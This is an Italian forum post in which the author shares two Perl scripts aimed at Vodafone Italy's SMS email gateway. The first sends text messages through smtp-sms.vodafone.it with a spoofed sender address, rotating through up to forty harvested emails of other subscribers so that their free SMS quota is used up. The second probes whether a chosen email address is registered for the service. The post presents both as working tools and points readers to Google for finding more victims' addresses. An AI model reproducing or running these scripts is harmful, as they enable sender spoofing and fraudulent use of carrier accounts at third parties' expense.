Cia all, vist che il programmino che uso per mandare sms: xms7 non ha piu gli sms ma sl gli mms....mi sono creato sto "voda fuck" x sms...
Ho tolto dalle variabili le email iscritte al 190 ke ho trovato, per ovvi motivi, ma dont worry, per trovarne quante se ne vuole..basta un po di fantasia..google e questo script:
Codice:
#!/usr/bin/perl
# Sms Voda Fuck :D
# 400 limit sms at day :D
# [email protected] - in una notte di scimmia :P
use Socket;
use IO::Socket;
print q(
#############################
Voda Fuckkk
ITS WORK??
maybe..
##############################
);
print "\n Insert Number:";
$number=<STDIN>;
chomp($number);
print "\n Insert number to1-40(for each number u have 10 sms..if u finish one..use other..)";
$magic=<STDIN>;
chomp($magic);
print "\n Insert message:";
$body=<STDIN>;
chomp($body);
##configurare##
$eem1="QUI VANNO LE MAIL";
$eem2="";
$eem3="";
$eem4="";
$eem5="";
$eem6="";
$eem7="";
$eem8="";
$eem9="";
$eem10="";
$eem11="";
$eem12="";
$eem13="";
$eem14="";
$eem15="";
$eem16="";
$eem17="";
$eem18="";
$eem19="";
$eem20="";
$eem21="";
$eem22="";
$eem23="";
$eem24="";
$eem25="";
$eem26="";
$eem27="";
$eem28="";
$eem29="";
$eem30="";
$eem31="";
$eem32="";
$eem33="";
$eem34="";
$eem35="";
$eem36="";
$eem37="";
$eem38="";
$eem39="";
$eem40="";
###
$voda ='@sms.vodafone.it';
$mailTo = $number.$voda;
$mailServer = 'smtp-sms.vodafone.it';
my $sock = new IO::Socket::INET(
PeerAddr => $mailServer,
PeerPort => '25',
Proto => 'tcp',
Reuse => 1,
);
sub get { recv($sock,$RESPONSE,0xFFFFF,0); print "$RESPONSE";}
$new="eem";
$fuck=$new.$magic;
if($sock){
get();
print $sock "HELO vodafone\n";
get();
print $sock "MAIL FROM: <$$fuck>\n";
get();
print $sock "RCPT TO: <$mailTo>\n";
get();
print $sock "DATA\n";
get();
print $sock "$body\n";
print $sock ".\n";
get();
print $sock "quit\n";
}
system("cls");
print "Sending sms...\n";
sleep(7);
print "U FUCK VODAFONE!\n";
Codice:
#!/usr/bin/perl
# Check if a email is registered into 190...
#
#
# [email protected] in una notte di scimmia...
use Socket;
use IO::Socket;
print q(
#############################
WHAT THE FUCK?
ITS WORK??
maybe..
##############################
);
print "\n Insert your number:";
$number=<STDIN>;
chomp($number);
print "\n Inser E-mail to check:";
$whitewidow=<STDIN>;
chomp($whitewidow);
$memello="vulnzzz";
$voda ='@sms.vodafone.it';
$mailTo = $number.$voda;
$mailServer = 'smtp-sms.vodafone.it';
$mailFrom = $whitewidow;
$realName = "cincin production";
$subjec = $silverhaze;
$body = $memello;
my $sock = new IO::Socket::INET(
PeerAddr => $mailServer,
PeerPort => '25',
Proto => 'tcp',
Reuse => 1,
);
sub get { recv($sock,$RESPONSE,0xFFFFF,0); print "$RESPONSE";}
if($sock){
print "Sending sms...\n";
get();
print $sock "HELO vodafone\n";
get();
print $sock "MAIL FROM: <$mailFrom>\n";
get();
print $sock "RCPT TO: <$mailTo>\n";
get();
print $sock "DATA\n";
get();
print $sock "$body\n";
print $sock ".\n\n";
get();
print $sock "quit\n";
system("cls");
sleep(1);
print "If is vuln u'll receive a message...\n";
}else{print "error unknown...reset pc..format it and than try again :P\n";
}